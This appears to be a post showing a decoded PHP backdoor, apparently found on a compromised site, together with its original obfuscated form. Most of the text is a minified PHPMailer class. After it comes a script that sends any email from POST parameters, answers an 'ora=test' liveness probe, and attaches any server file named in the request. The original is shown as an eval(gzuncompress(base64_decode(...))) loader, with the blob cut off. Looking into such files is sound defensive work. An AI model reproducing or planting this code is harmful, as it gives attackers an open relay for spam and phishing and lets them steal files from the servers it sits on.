";$escape='=';$output='';while(list(,$line)=each($lines)){$linlen=strlen($line);$newline='';for($i=0;$i<$linlen;$i++){$c=substr($line,$i,1);$dec=ord($c);if(($i == 0)&&($dec == 46)){$c='=2E';}if($dec == 32){if($i ==($linlen-1)){$c='=20';}else if($space_conv){$c='=20';}}elseif(($dec == 61)||($dec<32)||($dec>126)){$h2=(integer)floor($dec/16);$h1=(integer)floor($dec%16);$c=$escape .$hex[$h2] .$hex[$h1];}if((strlen($newline)+strlen($c))>= $line_max){$output.= $newline .$escape .$eol;$newline='';if($dec == 46){$c='=2E';}}$newline.= $c;}$output.= $newline .$eol;}return $output;}public function EncodeQP($string,$line_max=76,$space_conv=false){if(function_exists('quoted_printable_encode')){return quoted_printable_encode($string);}$filters=stream_get_filters();if(!in_array('convert.*',$filters)){return $this->EncodeQPphp($string,$line_max,$space_conv);}$fp=fopen('php://temp/','r+');$string=preg_replace('/
?/',$this->LE,$string);$params=array('line-length'=> $line_max,'line-break-chars'=> $this->LE);$s=stream_filter_append($fp,'convert.quoted-printable-encode',STREAM_FILTER_READ,$params);fputs($fp,$string);rewind($fp);$out=stream_get_contents($fp);stream_filter_remove($s);$out=preg_replace('/^\./m','=2E',$out);fclose($fp);return $out;}public function EncodeQ($str,$position='text'){$pattern="";$encoded=str_replace(array("
","
"),'',$str);switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';break;case 'comment':$pattern='\(\)"';case 'text':default:$pattern='=-	-?_-' .$pattern;break;}if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'=' .sprintf('%02X',ord($char)),$encoded);}}return str_replace(' ','_',$encoded);}public function AddStringAttachment($string,$filename,$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $filename,2 => basename($filename),3 => $encoding,4 => $type,5 => true,6 => 'attachment',7 => 0);}public function AddEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='application/octet-stream'){if(!@is_file($path)){$this->SetError($this->Lang('file_access') .$path);return false;}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'inline',7 => $cid);return true;}public function AddStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='application/octet-stream'){$this->attachment[]=array(0 => $string,1 => $name,2 => $name,3 => $encoding,4 => $type,5 => true,6 => 'inline',7 => $cid);}public function InlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'inline'){return true;}}return false;}public function AttachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]== 'attachment'){return true;}}return false;}public function AlternativeExists(){return!empty($this->AltBody);}public function ClearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);}$this->to=array();}public function ClearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);}$this->cc=array();}public function ClearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);}$this->bcc=array();}public function ClearReplyTos(){$this->ReplyTo=array();}public function ClearAllRecipients(){$this->to=array();$this->cc=array();$this->bcc=array();$this->all_recipients=array();}public function ClearAttachments(){$this->attachment=array();}public function ClearCustomHeaders(){$this->CustomHeader=array();}protected function SetError($msg){$this->error_count++;if($this->Mailer == 'smtp'and!is_null($this->smtp)){$lasterror=$this->smtp->getError();if(!empty($lasterror)and array_key_exists('smtp_msg',$lasterror)){$msg.= '<p>' .$this->Lang('smtp_error') .$lasterror['smtp_msg'] ."</p>
";}}$this->ErrorInfo=$msg;}public static function RFCDate(){$tz=date('Z');$tzs=($tz<0)?'-':'+';$tz=abs($tz);$tz=(int)($tz/3600)*100+($tz%3600)/60;$result=sprintf("%s %s%04d",date('D, j M Y H:i:s'),$tzs,$tz);return $result;}protected function ServerHostname(){if(!empty($this->Hostname)){$result=$this->Hostname;}elseif(isset($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];}else{$result='localhost.localdomain';}return $result;}protected function Lang($key){if(count($this->language)<1){$this->SetLanguage('en');}if(isset($this->language[$key])){return $this->language[$key];}else{return 'Language string failed to load: ' .$key;}}public function IsError(){return($this->error_count>0);}public function FixEOL($str){$nstr=str_replace(array("
","
"),"
",$str);if($this->LE !== "
"){$nstr=str_replace("
",$this->LE,$nstr);}return $nstr;}public function AddCustomHeader($name,$value=null){if($value === null){$this->CustomHeader[]=explode(':',$name,2);}else{$this->CustomHeader[]=array($name,$value);}}public function MsgHTML($message,$basedir=''){preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui",$message,$images);if(isset($images[2])){foreach($images[2]as $i => $url){if(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);$directory=dirname($url);if($directory == '.'){$directory='';}$cid='cid:' .md5($filename);$ext=pathinfo($filename,PATHINFO_EXTENSION);$mimeType=self::_mime_types($ext);if(strlen($basedir)>1 && substr($basedir,-1)!= '/'){$basedir.= '/';}if(strlen($directory)>1 && substr($directory,-1)!= '/'){$directory.= '/';}if($this->AddEmbeddedImage($basedir .$directory .$filename,md5($filename),$filename,'base64',$mimeType)){$message=preg_replace("/" .$images[1][$i] ."=[\"']" .preg_quote($url,'/') ."[\"']/Ui",$images[1][$i] ."=\"" .$cid ."\"",$message);}}}}$this->IsHTML(true);$this->Body=$message;if(empty($this->AltBody)){$textMsg=trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));if(!empty($textMsg)){$this->AltBody=html_entity_decode($textMsg,ENT_QUOTES,$this->CharSet);}}if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!' ."

";}return $message;}public static function _mime_types($ext=''){$mimes=array('xl'=> 'application/excel','hqx'=> 'application/mac-binhex40','cpt'=> 'application/mac-compactpro','bin'=> 'application/macbinary','doc'=> 'application/msword','word'=> 'application/msword','class'=> 'application/octet-stream','dll'=> 'application/octet-stream','dms'=> 'application/octet-stream','exe'=> 'application/octet-stream','lha'=> 'application/octet-stream','lzh'=> 'application/octet-stream','psd'=> 'application/octet-stream','sea'=> 'application/octet-stream','so'=> 'application/octet-stream','oda'=> 'application/oda','pdf'=> 'application/pdf','ai'=> 'application/postscript','eps'=> 'application/postscript','ps'=> 'application/postscript','smi'=> 'application/smil','smil'=> 'application/smil','mif'=> 'application/vnd.mif','xls'=> 'application/vnd.ms-excel','ppt'=> 'application/vnd.ms-powerpoint','wbxml'=> 'application/vnd.wap.wbxml','wmlc'=> 'application/vnd.wap.wmlc','dcr'=> 'application/x-director','dir'=> 'application/x-director','dxr'=> 'application/x-director','dvi'=> 'application/x-dvi','gtar'=> 'application/x-gtar','php3'=> 'application/x-httpd-php','php4'=> 'application/x-httpd-php','php'=> 'application/x-httpd-php','phtml'=> 'application/x-httpd-php','phps'=> 'application/x-httpd-php-source','js'=> 'application/x-javascript','swf'=> 'application/x-shockwave-flash','sit'=> 'application/x-stuffit','tar'=> 'application/x-tar','tgz'=> 'application/x-tar','xht'=> 'application/xhtml+xml','xhtml'=> 'application/xhtml+xml','zip'=> 'application/zip','mid'=> 'audio/midi','midi'=> 'audio/midi','mp2'=> 'audio/mpeg','mp3'=> 'audio/mpeg','mpga'=> 'audio/mpeg','aif'=> 'audio/x-aiff','aifc'=> 'audio/x-aiff','aiff'=> 'audio/x-aiff','ram'=> 'audio/x-pn-realaudio','rm'=> 'audio/x-pn-realaudio','rpm'=> 'audio/x-pn-realaudio-plugin','ra'=> 'audio/x-realaudio','wav'=> 'audio/x-wav','bmp'=> 'image/bmp','gif'=> 'image/gif','jpeg'=> 'image/jpeg','jpe'=> 'image/jpeg','jpg'=> 'image/jpeg','png'=> 'image/png','tiff'=> 'image/tiff','tif'=> 'image/tiff','eml'=> 'message/rfc822','css'=> 'text/css','html'=> 'text/html','htm'=> 'text/html','shtml'=> 'text/html','log'=> 'text/plain','text'=> 'text/plain','txt'=> 'text/plain','rtx'=> 'text/richtext','rtf'=> 'text/rtf','xml'=> 'text/xml','xsl'=> 'text/xml','mpeg'=> 'video/mpeg','mpe'=> 'video/mpeg','mpg'=> 'video/mpeg','mov'=> 'video/quicktime','qt'=> 'video/quicktime','rv'=> 'video/vnd.rn-realvideo','avi'=> 'video/x-msvideo','movie'=> 'video/x-sgi-movie');return(!isset($mimes[strtolower($ext)]))?'application/octet-stream':$mimes[strtolower($ext)];}public function set($name,$value=''){try{if(isset($this->$name)){$this->$name=$value;}else{throw new phpmailerException($this->Lang('variable_set') .$name,self::STOP_CRITICAL);}}catch(Exception $e){$this->SetError($e->getMessage());if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function SecureHeader($str){return trim(str_replace(array("
","
"),'',$str));}public function Sign($cert_filename,$key_filename,$key_pass){$this->sign_cert_file=$cert_filename;$this->sign_key_file=$key_filename;$this->sign_key_pass=$key_pass;}public function DKIM_QP($txt){$line='';for($i=0;$i<strlen($txt);$i++){$ord=ord($txt[$i]);if(((0x21 <= $ord)&&($ord <= 0x3A))|| $ord == 0x3C ||((0x3E <= $ord)&&($ord <= 0x7E))){$line.= $txt[$i];}else{$line.= "=" .sprintf("%02X",$ord);}}return $line;}public function DKIM_Sign($s){$privKeyStr=file_get_contents($this->DKIM_private);if($this->DKIM_passphrase != ''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);}else{$privKey=$privKeyStr;}if(openssl_sign($s,$signature,$privKey)){return base64_encode($signature);}return '';}public function DKIM_HeaderC($s){$s=preg_replace("/
\s+/"," ",$s);$lines=explode("
",$s);foreach($lines as $key => $line){list($heading,$value)=explode(":",$line,2);$heading=strtolower($heading);$value=preg_replace("/\s+/"," ",$value);$lines[$key]=$heading .":" .trim($value);}$s=implode("
",$lines);return $s;}public function DKIM_BodyC($body){if($body == '')return "
";$body=str_replace("
","
",$body);$body=str_replace("
","
",$body);while(substr($body,strlen($body)-4,4)== "

"){$body=substr($body,0,strlen($body)-2);}return $body;}public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';$DKIMcanonicalization='relaxed/simple';$DKIMquery='dns/txt';$DKIMtime=time();$subject_header="Subject: $subject";$headers=explode($this->LE,$headers_line);$from_header="";$to_header="";foreach($headers as $header){if(strpos($header,'From:')=== 0){$from_header=$header;}elseif(strpos($header,'To:')=== 0){$to_header=$header;}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));$to=str_replace('|','=7C',$this->DKIM_QP($to_header));$subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));$body=$this->DKIM_BodyC($body);$DKIMlen=strlen($body);$DKIMb64=base64_encode(pack("H*",sha1($body)));$ident=($this->DKIM_identity == '')?'':" i=" .$this->DKIM_identity .";";$dkimhdrs="DKIM-Signature: v=1; a=" .$DKIMsignatureType ."; q=" .$DKIMquery ."; l=" .$DKIMlen ."; s=" .$this->DKIM_selector .";
" ."	t=" .$DKIMtime ."; c=" .$DKIMcanonicalization .";
" ."	h=From:To:Subject;
" ."	d=" .$this->DKIM_domain .";" .$ident ."
" ."	z=$from
" ."	|$to
" ."	|$subject;
" ."	bh=" .$DKIMb64 .";
" ."	b=";$toSign=$this->DKIM_HeaderC($from_header ."
" .$to_header ."
" .$subject_header ."
" .$dkimhdrs);$signed=$this->DKIM_Sign($toSign);return "X-PHPMAILER-DKIM: code.google.com/a/apache-extras.org/p/phpmailer/
" .$dkimhdrs .$signed ."
";}protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from=null){if(!empty($this->action_function)&& is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);call_user_func_array($this->action_function,$params);}}}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>' .$this->getMessage() ."</strong><br />
";return $errorMsg;}}if(empty($_POST['subject'])|| empty($_POST['body'])|| empty($_POST['from'])|| empty($_POST['fromName'])|| empty($_POST['to'])){if(!empty($_GET['ora'])&& $_GET['ora']== 'test'){echo "OK";}else{echo "INVALID_REQUEST";}die;}usleep(100);try{$mail=new PHPMailer();$mail->From=$_POST['from'];$mail->addReplyTo($_POST['replyto'],$_POST['fromName']);$mail->FromName=$_POST['fromName'];$mail->Subject=$_POST['subject'];$mail->MsgHTML(base64_decode($_POST['body']));$mail->AddAddress($_POST['to']);$mail->AddAttachment($path=($_POST['name1']),$name=($_POST['names1']),$encoding='base64',$type='application/octet-stream');$mail->AddAttachment($path=($_POST['name2']),$name=($_POST['names2']),$encoding='base64',$type='application/octet-stream');if($mail->Send()){echo "SUCCESS";}else{echo "FAILURE";}}catch(phpmailerException $e){echo $e->errorMessage();}catch(Exception $e){echo $e->getMessage();}

Did this file decode correctly?

Original Code

<? eval(gzuncompress(base64_decode('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